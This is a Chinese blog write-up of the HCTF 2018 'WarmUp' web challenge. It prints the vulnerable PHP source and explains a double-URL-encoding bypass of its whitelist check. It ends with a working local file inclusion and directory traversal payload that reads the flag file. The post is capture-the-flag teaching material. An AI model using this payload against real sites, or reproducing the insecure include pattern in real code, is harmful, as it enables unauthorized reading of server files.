星夜的蓝天

HCTF 2018 WarmUp
warmup 知识点: 目录遍历 二次编码(转换目录) 进去发现是一张滑稽脸,检查源代码 <!DOCT...
扫描右侧二维码阅读全文
06
2020/05

HCTF 2018 WarmUp

warmup

知识点:

  1. 目录遍历
  2. 二次编码(转换目录)

进去发现是一张滑稽脸,检查源代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->

    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

尝试访问source.php,得到如下代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

首先看emmm类,发现白名单中除了source.php,还有一个hint.php,尝试访问

flag not here, and flag in ffffllllaaaagggg

确定flag文件名为ffffllllaaaagggg,然后继续分析源代码,为了显示出flag,我们看到有

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    }

include的参数我们是可控的,但是要过一个安检,即参数非空,参数是字符串,并且经过checkFile()函数检查后返回true。

我们来研究一下checkFile()函数,如果它返回true,只有3个返回处,条件分别是

  • 传入参数在白名单中
  • 传入参数第一个'?'之前的字符串在白名单中
  • 传入参数经urldecode()后的第一个'?'前的字符串在白名单中。

先排除第一种情况,考虑第二种情况,我们可以通过构造参数让他返回true,但是在include的时候我们又无法让php只包含后面的字符串,考虑到有关于'?'的url转码,查阅相关资料后,得到一个前置知识

'?'或'#'等字符在双重url编码的情况下会使得整个参数被当做一个目录

考虑利用这个特性,我们传入file=source.php?/../ffffllllaaaagggg,然后对?进行两次url编码。

file=hint.php%253F/../ffffllllaaaagggg

传进去发现没出来东西……

思考一下,会不会是flag不在网站目录下?

于是一步步增加返回父目录的数量,终于,在增加到四个的时候,flag出现

payload: file=hint.php%253F/../../../../ffffllllaaaagggg

猜测,网站的通常目录为/var/www/XXX/,第一次返回父目录是在网站目录下,再加三次就应该可以跳回根目录,前提是flag在根目录下。

以上。

最后修改:2020 年 05 月 06 日 06 : 10 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论

召唤看板娘